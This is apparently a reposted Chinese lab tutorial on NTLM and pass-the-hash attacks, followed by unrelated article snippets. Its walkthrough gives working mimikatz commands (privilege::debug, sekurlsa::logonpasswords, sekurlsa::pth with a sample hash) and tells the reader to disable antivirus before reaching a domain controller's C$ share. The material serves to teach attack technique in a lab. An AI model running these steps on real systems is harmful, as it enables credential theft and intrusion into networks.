当前位置： 首页 > news >正文

内网渗透(哈希传递)

news 2026/4/7 23:26:42

概念

早期SMB协议明文在网络上传输数据，后来诞生了LM验证机制，LM机制由于过于简单，微软提出了WindowsNT挑战/响应机制，这就是NTLM。

哈希传递前提

同密码(攻击主机与实现主机两台要密码一致)。

NTLM协议

加密ntlm哈希

转换成16进制——转换成加密——转换成MD4

image-20231128092813236

NTLM协议：用于远程登录。例如 22

原理

  1. client(win10)将账户名(test)传给server。
  2. 在server中判断本地账户名(test)是否存在，没有就失败，有的话生成challenge(随机生成的)，查找user对应的NTLM哈希（在sam里找），使用哈希加密challenge，生成一个net-ntlm hash存在内存中，将challenge发送给client(win10)。
  3. client(win10)接受到challenge以后，将自己的密码转换成NTLM哈希，用生成的哈希加密challenge生成response，将response发送给server。
  4. server对比自己内存中的net-ntlm hash与client(win10)发来的response是否一致。

image-20231128103710255

哈希传递攻击

哈希传递攻击的前提

  • 首先是管理员，必须提前从不同用户变成管理员
  • 需要用户名和ntml哈希值
  • 如果对方主机在域内，就使用域名；如果不在域内，就使用工作组环境的攻击方式

什么情况下会用哈希传递攻击

  • 攻陷一台主机以后，抓不到该主机用户的明文密码
  • 失陷主机和局域网内存在相同密码

哈希传递攻击

工具：mimikatz

环境：域控(server 2008)、客户机(win 7)

网段：在同一网段，都为NAT模式

域控(server)

  • 静态IP：10.1.1.1

在server中查看445是否开放

image-20231128101209454

  • 查看域控C盘

image-20231128200621745

  • 共享C盘（在cmd中输入命令net share）

image-20231128204722954

客户端开始攻击（win7）

  • IP：10.1.1.2

  • 关闭杀毒软件

用mimikatz64位工具，必须是system权限

image-20231128201649767

在打开cmd命令解释器必须以管理员身份运行（因为要用到mimikatz工具）

image-20231128201723269

进入mimikatz.exe

image-20231128202127467

攻击利用

  • 提升权限(注：需以管理员权限运行)
privilege::debug

image-20231128203351700

  • 获取内存中保存的登录信息
sekurlsa::logonpasswords

image-20231128203539731

  • 并抓到自己用户的哈希值（NTLM）

image-20231128203703522

  • 进行哈希攻击
sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:32ed87bdb5fdc5e9cba88547376818d4  #pth是哈希传递，domain后面跟的是域

image-20231128205345577

  • 同时弹出一个新的cmd窗口

image-20231128205433846

此时哈希值已经准备好，但还未攻击

开始攻击

  • 查看域控(server)C盘
dir \\10.1.1.1\c$

image-20231128205229403

  • 与域控C盘进行对比

image-20231128200621745

  • 攻击成功

总结

哈希传递攻击是由于局域网内有多台主机存在相同密码造成的，绕过ntlm认证。

相关文章：

内网渗透(哈希传递)

概念 早期SMB协议明文在网络上传输数据，后来诞生了LM验证机制，LM机制由于过于简单，微软提出了WindowsNT挑战/响应机制，这就是NTLM。 哈希传递前提 同密码(攻击主机与实现主机两台要密码一致)。 NTLM协议 加密ntlm哈希 转换成…...

编程日记 2023/11/30 0:40:33

如何在langchain中对大模型的输出进行格式化

简介 我们知道在大语言模型中, 不管模型的能力有多强大，他的输入和输出基本上都是文本格式的，文本格式的输入输出虽然对人来说非常的友好，但是如果我们想要进行一些结构化处理的话还是会有一点点的不方便。 不用担心，langchain已…...

编程日记 2023/11/30 0:39:32

【送书活动二期】Java和MySQL数据库中关于小数的保存问题

之前总结过一篇文章mysql数据库：decimal类型与decimal长度用法详解，主要是个人学习期间遇到的mysql中关于decimal字段的详解，最近在群里遇到一个小伙伴提出的问题，也有部分涉及，今天就再大致总结一下Java和MySQL数据库…...

编程日记 2023/11/30 0:38:30

11月21日，每日信息差

今天是2023年11月21日，以下是为您准备的16条信息差 第一、国内首条PPP模式市域铁路台州S1线客运量破900万人次。PPP（Public-Private Partnership）是公共基础设施的一种项目运作模式，指社会资本与政府合作，参与公共基础…...

编程日记 2023/11/30 0:37:30

极速整理文件！Python自动化办公新利器

更多资料获取 📚 个人网站：ipengtao.com 当涉及到自动化办公和文件整理，Python确实是一个强大的工具。在这篇博客文章中，我将深入探讨《极速整理文件！Python自动化办公新利器》这个话题，并提供更加丰富和全…...

编程日记 2023/11/30 0:35:28

电机控制学习

电机开发板...

编程日记 2023/11/30 0:34:27

leetcode 1670

leetcode 1670 解题思路 使用2个deque作为类的成员变量 code class FrontMiddleBackQueue { public:deque<int> left;deque<int> right;FrontMiddleBackQueue() {}void pushFront(int val) {left.push_front(val);if(left.size() right.size()2){right.push_fr…...

编程日记 2023/11/30 0:32:25

Nginx热部署

快捷查看指令 ctrlf 进行搜索会直接定位到需要的知识点和命令讲解&#xff08;如有不正确的地方欢迎各位小伙伴在评论区提意见&#xff0c;小编会及时修改&#xff09; Nginx热部署 首先来讲一下为什么要进行热部署 nginx 支持热加载 热部署 &#xff0c;在不打断用户请求的情…...

编程日记 2023/11/30 0:31:23

京东数据运营-京东数据平台-京东店铺数据分析-2023年10月京东烘干机品牌销售榜

鲸参谋监测的京东平台10月份烘干机市场销售数据已出炉&#xff01; 10月份&#xff0c;烘干机市场整体销售上涨。鲸参谋数据显示&#xff0c;今年10月份&#xff0c;京东平台上烘干机的销量将近5万件&#xff0c;环比增长约77%&#xff0c;同比增长约22%&#xff1b;销售额将近…...

编程日记 2023/11/30 0:30:22

java中的方法引用和Stream流

知识模块&#xff1a; 一.方法引用a.方法概述b.方法引用格式 二.Stream流1.Stream流概述2.Stream流操作步骤一.方法引用a.方法概述/*方法引用概述&#xff1a;当我们使用已有类中的方法作为Lambda表达式对应的接口中的抽象方法实现我们可以用方法引用来简化Lambda表达式*/impor…...

编程日记 2023/11/30 0:29:21

《第一行代码：Android》第三版-3.4.4体验Activity的生命周期

本文的代码是在主Activity中&#xff0c;重载了几个生命周期函数&#xff0c;在日志中打印出对应的日志信息&#xff0c;有两个按钮&#xff0c;负责启动另外的Activity&#xff0c;并回到主Activity 由此查看日志&#xff0c;来体会生命周期。 MainActivity.kt 文件如下 pac…...

编程日记 2023/11/30 0:28:19

用java编写一个网络聊天室

网络聊天室 服务器&#xff1a; 1.启动服务器&#xff0c;在服务器端循环监听客户端的连接 try {ServerSocket serverSocketnew ServerSocket(6622);System.out.println("服务器已启动");while(true){//把客户端实例添加到sockets里Socket socketserverSocket.acc…...

编程日记 2023/11/30 0:27:18

Opencv颜色追踪

废话不多说直接上代码&#xff01;&#xff01; # 这是一个示例 Python 脚本。 import cv2 import numpy as npdef track_object():# 打开摄像头外接cap cv2.VideoCapture(0)while True:# 读取摄像头帧# ret&#xff08;Return Value&#xff09;是一个布尔值&#xff0c;表示…...

编程日记 2023/11/30 0:26:18

计算机网络——网络可靠性及网络出口配置

1. 前言&#xff1a; 学习目标&#xff1a; 1.了解链路聚合的作用 2. 了解ACL的工作原理 3. 了解NAT的工作原理和配置 2. 网络可靠性方案 网络可靠性是指网络在面对各种异常情况或故障时&#xff0c;能够维持正常运行和提供服务的能力。这包括防止网络中断、减小数据丢失的可能…...

编程日记 2023/11/30 0:24:15

在虚拟机搭建nignx，和使用本地访问nginx的情况

下载nginx yum install nginx 查看nginx是否安装成功。 nginx -v nginx的配置文件的目录和资源的目录。 先到nginx.conf的目录下&#xff0c;在 /etc/nginx/nginx.conf&#xff0c;编辑它。 vi /etc/nginx/nginx.conf 可以看到默认的html的目录。在 /usr/share/nginx/html 下面…...

编程日记 2023/11/30 0:23:14

Java数据结构之《直接插入排序》问题

一、前言&#xff1a; 这是怀化学院的&#xff1a;Java数据结构中的一道难度中等的一道编程题(此方法为博主自己研究&#xff0c;问题基本解决&#xff0c;若有bug欢迎下方评论提出意见&#xff0c;我会第一时间改进代码&#xff0c;谢谢&#xff01;) 后面其他编程题只要我写完…...

编程日记 2023/11/30 0:22:14

向量场中的几个恒等式

向量场中的几个恒等式 1. ∇ 2 A ∇ ∇ ⋅ A − ∇ ∇ A \nabla ^2 A \nabla \nabla\cdot A-\nabla \times\nabla\times A ∇2A∇∇⋅A−∇∇A 2. ∇ ⋅ ∇ A 0 \nabla \cdot \nabla \times A 0 ∇⋅∇A0 3. ∇ ∇ ϕ 0 \nabla \times \nabla \phi0 ∇∇ϕ0...

编程日记 2023/11/30 0:21:12

异行星低代码平台--第三方插件对接：钉钉平台对接（一）

异行星低代码平台可以集成钉钉&#xff0c;实现单点登录、消息推送和组织机构同步。 提示 此功能需要企业版授权才能使用。 钉钉集成​ 单点登录 异行星低代码平台集成到钉钉后&#xff0c;只要使用钉钉账户登录钉钉客户端&#xff0c;即可在钉钉中直接使用管理后台&#…...

编程日记 2023/11/30 0:20:11

MyBatis使用教程详解＜下＞

回顾上一篇博文,我们讲了如何使用注解/XML的方式来操作数据库,实际上,一个Mapper接口的实现,这两种方式是可以并存的. 上一篇博文中,我们演示的都是比较简单的SQL语句,没有设计到复杂的逻辑,本篇博文会讲解复杂SQL的实现及一些细节处理.话不多说,让我们开始吧. 一. #{}和${} …...

编程日记 2023/11/30 0:19:10

C++基础 -17-继承中 基类与派生构造和析构调用顺序

首先声明 定义了派生类会同时调用基类和派生的构造函数 定义了派生类会同时调用基类和派生的析构函数 那么顺序如何如下图 构造由上往下顺序执行 析构则完全相反 #include "iostream"using namespace std;class base {public:base(){cout << "base-bui…...

编程日记 2023/11/30 0:18:09

MaskGIT Revolution: How Bidirectional Transformers Redefine Image Synthesis

1. MaskGIT如何颠覆传统图像生成模式 想象一下你正在拼一幅巨型拼图。传统方法要求你从左上角开始&#xff0c;严格按照从左到右、从上到下的顺序一块块拼接。这就是当前主流图像生成Transformer的工作方式——自回归解码。而MaskGIT带来的革命性变化&#xff0c;就像允许你同时…...

编程新知 2026/4/7 22:17:33

避坑！这些毕设太好抄了，3000+毕设案例推荐第1038期

381、基于Java的对外公告智慧管理系统的设计与实现(论文&#xff0b;代码&#xff0b;PPT)对外公告智慧管理系统主要功能包括&#xff1a;会员管理、公告管理、审核任务、审核节点、审核日志、回复管理、通知管理、通知接收者、工作流管理、组织机构、消息推送、消息推送接收者…...

编程新知 2026/4/7 21:24:42

西门子S7-1200的PID三兄弟：PID_Compact、PID_3Step、PID_Temp到底该怎么选？看完这篇不再纠结

西门子S7-1200 PID三兄弟实战选型指南&#xff1a;从原理到场景化决策 在工业自动化领域&#xff0c;温度、压力和流量等过程变量的精确控制始终是核心挑战。西门子S7-1200 PLC提供的三种PID控制指令——PID_Compact、PID_3Step和PID_Temp&#xff0c;就像三位各有所长的技术专…...

编程新知 2026/4/7 20:54:09

用Verilog HDL在FPGA上实现一个带倒计时的智能交通灯（附完整代码与仿真）

基于Verilog HDL的智能交通灯系统设计与FPGA实现 十字路口的交通信号灯控制是数字逻辑设计的经典案例&#xff0c;也是FPGA初学者掌握硬件描述语言的绝佳实践项目。本文将详细讲解如何用Verilog HDL实现一个带倒计时显示的智能交通灯系统&#xff0c;涵盖从需求分析到仿真验证的…...

编程新知 2026/4/7 20:44:03

WarcraftHelper：魔兽争霸III现代优化解决方案全玩家实战指南

WarcraftHelper&#xff1a;魔兽争霸III现代优化解决方案全玩家实战指南 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper WarcraftHelper是一款专为魔兽…...

编程新知 2026/4/7 19:32:45

3个实用技巧：Anemone3DS让3DS玩家实现主题个性化定制

3个实用技巧&#xff1a;Anemone3DS让3DS玩家实现主题个性化定制 【免费下载链接】Anemone3DS A theme and boot splash manager for the Nintendo 3DS console 项目地址: https://gitcode.com/gh_mirrors/an/Anemone3DS Anemone3DS是一款专为任天堂3DS掌机设计的主题和…...

编程新知 2026/4/7 18:56:23

我花 3 天摸透了 Claude Code 的全部配置文件，这篇指南帮你少走弯路

我花 3 天摸透了 Claude Code 的全部配置文件&#xff0c;这篇指南帮你少走弯路"Claude Code 挺聪明&#xff0c;但就是不够懂我。"这句话我听了不下十遍。每次都要重复说"用中文回复"、"先读我的记忆文件"、"提交代码要写清楚原因"—…...

编程新知 2026/4/7 18:50:18

新手避坑指南：用Matlab给六轴机器人做路径规划，选笛卡尔空间还是关节空间？

六轴机器人路径规划实战&#xff1a;从零开始掌握笛卡尔与关节空间选择策略 1. 初识机器人路径规划的核心挑战 第一次接触六轴机器人路径规划时&#xff0c;我被各种专业术语和数学公式淹没。直到亲手在Matlab中实现第一个机械臂运动程序&#xff0c;才真正理解路径规划的本质—…...

编程新知 2026/4/7 17:59:17

5分钟搞定！B站视频下载神器BilibiliDown完整使用指南

5分钟搞定&#xff01;B站视频下载神器BilibiliDown完整使用指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader &#x1f633; 项目地址: https://gitcode.com/gh_mirrors/bi…...

编程新知 2026/4/7 17:32:56

第7章 运算符-7.7 身份运算符

在Python中&#xff0c;身份运算符用于比较两个变量的内存地址引用是否相同。表7-7中列出了Python中的身份运算符, 在该表中&#xff0c;假设变量a的值为3&#xff0c;变量b的值为3。表7-7 身份运算符运算符描述实例is如果两个变量的内存地址引用相同&#xff0c;则返回True&am…...

编程新知 2026/4/7 17:10:48